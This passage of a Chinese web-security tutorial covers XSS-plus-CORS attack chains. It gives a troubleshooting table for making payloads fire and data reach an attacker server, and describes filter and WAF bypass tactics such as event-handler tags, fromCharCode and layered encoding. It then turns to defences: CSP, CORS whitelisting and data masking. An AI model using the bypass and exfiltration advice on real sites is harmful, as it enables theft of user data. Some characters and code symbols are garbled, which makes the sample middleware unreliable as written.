問(wèn)題速查表從XSS不執(zhí)行到CORS讀不到的典型故障組合漏洞調(diào)試過(guò)程中最煩人的就是“看起來(lái)都對(duì)但就是不通”。我把過(guò)去調(diào)試中反復(fù)踩過(guò)的坑整理成了一張速查表你在實(shí)操中遇到類(lèi)似問(wèn)題可以直接按圖索驥問(wèn)題現(xiàn)象可能原因排查方向XSS注入后頁(yè)面無(wú)任何反應(yīng)參數(shù)被編碼、過(guò)濾或者拼入位置不在腳本上下文在瀏覽器開(kāi)發(fā)者工具里查看最終渲染后的HTML源碼確認(rèn)payload所在位置和過(guò)濾行為XSS彈窗出現(xiàn)但外鏈腳本未加載CSP內(nèi)容安全策略限制或外聯(lián)地址被瀏覽器攔截查看控制臺(tái)是否報(bào)CSP相關(guān)警告考慮在payload中內(nèi)聯(lián)全部腳本跨域請(qǐng)求狀態(tài)碼200但回調(diào)讀不到數(shù)據(jù)CORS響應(yīng)頭不匹配或憑證模式未開(kāi)啟查看響應(yīng)頭里的Access-Control-Allow-Origin和Access-Control-Allow-Credentials值瀏覽器提示CORS錯(cuò)誤且請(qǐng)求為OPTIONS預(yù)檢請(qǐng)求未通過(guò)在服務(wù)端增加對(duì)OPTIONS請(qǐng)求的正確響應(yīng)返回匹配的CORS頭數(shù)據(jù)回傳為空或亂碼編碼方式不對(duì)或URL被截?cái)鄵Q用sendBeacon方案或者分塊傳輸攻擊者服務(wù)器沒(méi)收到任何請(qǐng)求目標(biāo)環(huán)境無(wú)外聯(lián)權(quán)限或防火墻攔截先換成內(nèi)網(wǎng)回傳地址或臨時(shí)在本地起HTTP服務(wù)驗(yàn)證外聯(lián)鏈路以上六個(gè)問(wèn)題是出現(xiàn)頻率最高的覆蓋了從注入、觸發(fā)、跨域、回傳的完整鏈路。記住一個(gè)原則組合攻擊鏈路調(diào)試是“逐層驗(yàn)證絕不跳步”的過(guò)程任何一個(gè)環(huán)節(jié)的假設(shè)都要用證據(jù)去確認(rèn)而不是靠猜。5.2 調(diào)試手段的細(xì)節(jié)分享瀏覽器控制臺(tái)、Burp和自建日志的配合調(diào)試方法因人而異我用熟了的一套“三板斧”組合可以供你參考。第一板斧是瀏覽器開(kāi)發(fā)者工具它負(fù)責(zé)看“瀏覽器視角”發(fā)生了什么網(wǎng)絡(luò)面板里要點(diǎn)開(kāi)每個(gè)請(qǐng)求的詳情看請(qǐng)求頭、響應(yīng)頭、Cookies控制臺(tái)里看有沒(méi)有CORS相關(guān)報(bào)錯(cuò)、有沒(méi)有JS語(yǔ)法錯(cuò)誤Sources面板里看最終渲染的HTML節(jié)點(diǎn)確認(rèn)payload有沒(méi)有被完整注入。第二板斧是Burp Suite它負(fù)責(zé)看“服務(wù)器視角”發(fā)生了什么通過(guò)代理把瀏覽器的請(qǐng)求轉(zhuǎn)發(fā)到Burp你就能看到服務(wù)器實(shí)際收到的請(qǐng)求頭——尤其是Origin字段以及服務(wù)器實(shí)際返回的響應(yīng)頭。這兩個(gè)視角對(duì)照起來(lái)80%的問(wèn)題都能一小時(shí)之內(nèi)定位。第三板斧是自建日志服務(wù)器它負(fù)責(zé)看“攻擊者視角”發(fā)生了什么我的接收服務(wù)器通常會(huì)在控制臺(tái)實(shí)時(shí)打印每一條收到的請(qǐng)求時(shí)間、來(lái)源IP、完整URL參數(shù)全覆蓋。三次調(diào)試下來(lái)你會(huì)發(fā)現(xiàn)一個(gè)規(guī)律瀏覽器提示的CORS報(bào)錯(cuò)未必是服務(wù)器配置錯(cuò)了也可能是你請(qǐng)求里沒(méi)有帶credentials導(dǎo)致瀏覽器主動(dòng)限制而服務(wù)器響應(yīng)頭里明明正確的CORS配置也可能因?yàn)榇韺訑r截或緩存導(dǎo)致瀏覽器拿到的是空頭。這時(shí)候把三個(gè)視角的日志拼在一起才能準(zhǔn)確鎖定故障層。5.3 遇到Filter和WAF時(shí)怎么辦三層繞過(guò)思路真實(shí)業(yè)務(wù)環(huán)境里很少會(huì)像靶場(chǎng)一樣給你一個(gè)干干凈凈的注入點(diǎn)。目標(biāo)系統(tǒng)可能部署了WAFWeb應(yīng)用防火墻或者自研的Filter對(duì)關(guān)鍵字做黑名單過(guò)濾。針對(duì)這個(gè)情況我的思路分三層遞進(jìn)第一層是改變觸發(fā)方式。如果script被攔改用img onerror、svg onload、video onerror等白名單標(biāo)簽加事件屬性如果屬性值被過(guò)濾考慮事件屬性是否支持fromCharCode拼接字符串來(lái)繞過(guò)簡(jiǎn)單關(guān)鍵字匹配。第二層是改變編碼形態(tài)。HTML實(shí)體編碼、URL雙重編碼、JS Unicode編碼混著用服務(wù)器解析完一層后再交給瀏覽器解析下一層利用“解析層次多”這個(gè)特性繞過(guò)正則類(lèi)的規(guī)則。第三層是改變攻擊面。當(dāng)前注入點(diǎn)過(guò)濾得太死就去找另一個(gè)注入點(diǎn)——比如同站點(diǎn)的搜索歷史、導(dǎo)出功能、附件名稱(chēng)等地方可能過(guò)濾寬松換一個(gè)戰(zhàn)場(chǎng)反而輕松。值得單獨(dú)強(qiáng)調(diào)的是繞過(guò)過(guò)濾的前提是你對(duì)目標(biāo)的過(guò)濾邏輯有充分的探測(cè)和理解不能盲猜。我在測(cè)試中會(huì)先用一批無(wú)害的探針字符串比如xss、svg/onload、javascript:逐一提交從響應(yīng)內(nèi)容的差異中推算過(guò)濾規(guī)則覆蓋了哪些標(biāo)簽、哪些屬性、哪些關(guān)鍵字然后再對(duì)癥構(gòu)造。這個(gè)過(guò)程實(shí)際上考驗(yàn)的是分析能力工具只是輔助。6. 防御側(cè)視角如何把這條攻擊鏈路的門(mén)關(guān)上6.1 從根源上阻斷XSS輸入輸出雙向治理組合攻擊的前提是XSS能成功觸發(fā)所以防住XSS是第一道閘門(mén)也是最關(guān)鍵的一道。聊到具體做法我的建議是“輸入側(cè)過(guò)濾 輸出側(cè)編碼”雙管齊下缺一不可。輸入側(cè)要對(duì)所有用戶(hù)可控的參數(shù)做合法性校驗(yàn)嚴(yán)格拒絕包含、、script、javascript:等特征的輸入尤其注意不要把“過(guò)濾”和“轉(zhuǎn)義”混為一談。輸出側(cè)要按上下文使用對(duì)應(yīng)的編碼函數(shù)HTML標(biāo)簽體里用HTML實(shí)體編碼屬性值里用屬性編碼加引號(hào)轉(zhuǎn)義JavaScript字符串要處理反斜杠和引號(hào)URL參數(shù)要做URL編碼。如果團(tuán)隊(duì)用的是主流框架React、Vue、Angular等框架默認(rèn)的{{ }}插值機(jī)制就已經(jīng)內(nèi)置了轉(zhuǎn)義但要注意v-html、dangerouslySetInnerHTML這類(lèi)“主動(dòng)關(guān)閉轉(zhuǎn)義”的坑很多XSS漏洞就是這么來(lái)的。Content-Security-PolicyCSP是第二道閘門(mén)。把script-src嚴(yán)格限制為同源或指定白名單能直接掐斷外鏈腳本加載這條路對(duì)“注入外鏈JS”的利用方式殺傷力巨大。CSP還能通過(guò)report-uri收集違反策略的行為日志幫防御側(cè)及時(shí)發(fā)現(xiàn)攻擊嘗試。我見(jiàn)過(guò)不少團(tuán)隊(duì)知道CSP這個(gè)概念但一直沒(méi)落地理由是“業(yè)務(wù)里有用到內(nèi)聯(lián)腳本一開(kāi)就掛”其實(shí)可以通過(guò)unsafe-inline加nonce或者h(yuǎn)ash的方式逐步放行不用一步到位可以先從report-only模式開(kāi)始灰度。6.2 CORS配置的正確姿勢(shì)白名單模式和動(dòng)態(tài)校驗(yàn)實(shí)現(xiàn)CORS配置錯(cuò)的根源多半是“圖省事”。正確的做法是維護(hù)一份顯式的來(lái)源白名單只對(duì)白名單內(nèi)的Origin返回對(duì)應(yīng)的Access-Control-Allow-Origin響應(yīng)頭并且永遠(yuǎn)不要讓Allow-Credentials: true和Allow-Origin: *同時(shí)出現(xiàn)。以Node.js/Express中間件為例一份相對(duì)穩(wěn)妥的CORS配置長(zhǎng)這樣const allowedOrigins [ https://app.example.com, https://admin.example.com ]; app.use((req, res, next) { const origin req.headers.origin; if (origin allowedOrigins.includes(origin)) { res.setHeader(Access-Control-Allow-Origin, origin); res.setHeader(Access-Control-Allow-Credentials, true); res.setHeader(Access-Control-Allow-Methods, GET,POST,PUT,DELETE,OPTIONS); res.setHeader(Access-Control-Allow-Headers, Content-Type,Authorization); } if (req.method OPTIONS) { return res.sendStatus(204); } next(); });這份配置的關(guān)鍵點(diǎn)有兩個(gè)一是只認(rèn)白名單內(nèi)的來(lái)源二是白名單之外的請(qǐng)求不會(huì)獲得任何CORS授權(quán)瀏覽器端就無(wú)法讀取響應(yīng)。如果業(yè)務(wù)上有大量動(dòng)態(tài)子域名的需求不能寫(xiě)死白名單那也要實(shí)現(xiàn)“域名后綴匹配”的邏輯——比精確匹配更嚴(yán)格的是校驗(yàn)子域名和協(xié)議是否一致絕不能簡(jiǎn)單地把Origin原樣反射成Allow-Origin。另外一個(gè)容易被忽視的坑是安全團(tuán)隊(duì)修正了主API接口的CORS配置卻漏掉了靜態(tài)資源服務(wù)器、CDN回源接口、第三方回調(diào)接口。攻擊者一旦找到某個(gè)邊緣接口的配置仍然是反射Origin配合XSS照樣能完成組合攻擊。修CORS問(wèn)題要做一次全網(wǎng)接口的全面排查而不是修一兩個(gè)頁(yè)面了事。6.3 數(shù)據(jù)層兜底方案即使漏洞被利用也要讓數(shù)據(jù)損失最小化防御的最終目標(biāo)是“即使防線被突破攻擊者也拿不到高價(jià)值數(shù)據(jù)”。這一層是縱深防御的最后一道關(guān)口具體可以從幾個(gè)維度加固。對(duì)敏感接口做額外的數(shù)據(jù)分級(jí)授權(quán)。比如手機(jī)號(hào)、身份證這類(lèi)高風(fēng)險(xiǎn)數(shù)據(jù)在后端響應(yīng)之前要確認(rèn)當(dāng)前會(huì)話(huà)的IP、設(shè)備、行為上下文是否符合預(yù)期一旦檢測(cè)到跨域請(qǐng)求甚至可疑Referer寧可返回脫敏數(shù)據(jù)也不返回完整數(shù)據(jù)。其次對(duì)API響應(yīng)統(tǒng)一做字段級(jí)脫敏前端即使跨域拿到了響應(yīng)拿到的也只是一堆掩碼后的手機(jī)號(hào)和虛擬郵箱利用價(jià)值大幅縮水。還有一點(diǎn)很重要建立異常行為的實(shí)時(shí)監(jiān)控。組合攻擊的回傳請(qǐng)求通常會(huì)有明顯的特征——短時(shí)間內(nèi)大量攜帶憑證的跨域請(qǐng)求或者同一會(huì)話(huà)在多個(gè)源之間跳轉(zhuǎn)讀取數(shù)據(jù)。把這類(lèi)行為納入風(fēng)控模型一旦命中就觸發(fā)二次認(rèn)證或強(qiáng)制踢下線攻擊者的收割效率就會(huì)大打折扣。數(shù)據(jù)層的兜底雖然不能阻止第一次請(qǐng)求發(fā)出但能讓攻擊者拿到的“戰(zhàn)利品”變成雞肋從而大幅降低攻擊動(dòng)機(jī)和經(jīng)濟(jì)收益。7. 延伸思考從組合漏洞看Web安全的整體視角講到這里XSSCORS組合拳從原理到復(fù)現(xiàn)再到防御已經(jīng)完整梳理了一遍。但我想在文章的尾巴上聊一點(diǎn)技術(shù)之外的東西因?yàn)檫@直接關(guān)系到你以后做安全研究或者防御設(shè)計(jì)時(shí)的思維方式。我在實(shí)際測(cè)試和團(tuán)隊(duì)分享中反復(fù)強(qiáng)調(diào)一個(gè)觀點(diǎn)Web安全問(wèn)題的本質(zhì)不是“某個(gè)漏洞是否存在”而是“多個(gè)看似孤立的弱點(diǎn)之間是否可以被編排成一條攻擊鏈”。很多團(tuán)隊(duì)每周都在掃描漏洞、修漏洞但修的思路就是“掃描器報(bào)什么我修什么”完全不去想這個(gè)漏洞和其他配置缺陷之間的關(guān)聯(lián)關(guān)系。結(jié)果就是XSS修了一個(gè)點(diǎn)另外十個(gè)點(diǎn)還在CORS配置改了一個(gè)接口另一個(gè)接口還露著。攻擊者從來(lái)都是鏈?zhǔn)剿季S防御者也必須建立鏈?zhǔn)揭暯?。這正是我在文章開(kāi)頭強(qiáng)調(diào)“組合拳”的初衷。如果你想把這類(lèi)思路再往外推一推有幾個(gè)方向值得研究XSSJSONP劫持的組合、CORS子域名接管配合、點(diǎn)擊劫持CORS跨域?qū)懖僮鞯?。每一種組合都有其特定的適用場(chǎng)景和數(shù)據(jù)價(jià)值換湯不換藥。核心方法是固定的先梳理目標(biāo)系統(tǒng)有哪些可被注入的入口、有哪些可被跨域讀寫(xiě)的敏感接口、有哪些信任邊界被錯(cuò)誤放行再把這些點(diǎn)用數(shù)據(jù)流向串起來(lái)你看到的就不只是“幾個(gè)中危漏洞”而是一個(gè)安全體系的全貌。我個(gè)人在做這個(gè)模擬項(xiàng)目X的時(shí)候最大的體會(huì)是當(dāng)攻擊者同時(shí)掌握XSS和CORS這兩塊拼圖時(shí)攻擊成本低得驚人——一段不到1KB的JavaScript就能完成從觸發(fā)到回傳的全流程不需要任何服務(wù)器端權(quán)限也不需要安裝惡意軟件受害者從頭到尾沒(méi)有任何感知。這恰恰是Web前端攻擊最讓人后背發(fā)涼的地方也是安全建設(shè)里最需要投入精力去防御的方向。希望這篇文章能幫你把這條鏈路的每個(gè)環(huán)節(jié)都看透讓“知其所以然”成為你做安全測(cè)試和防護(hù)設(shè)計(jì)的基本功。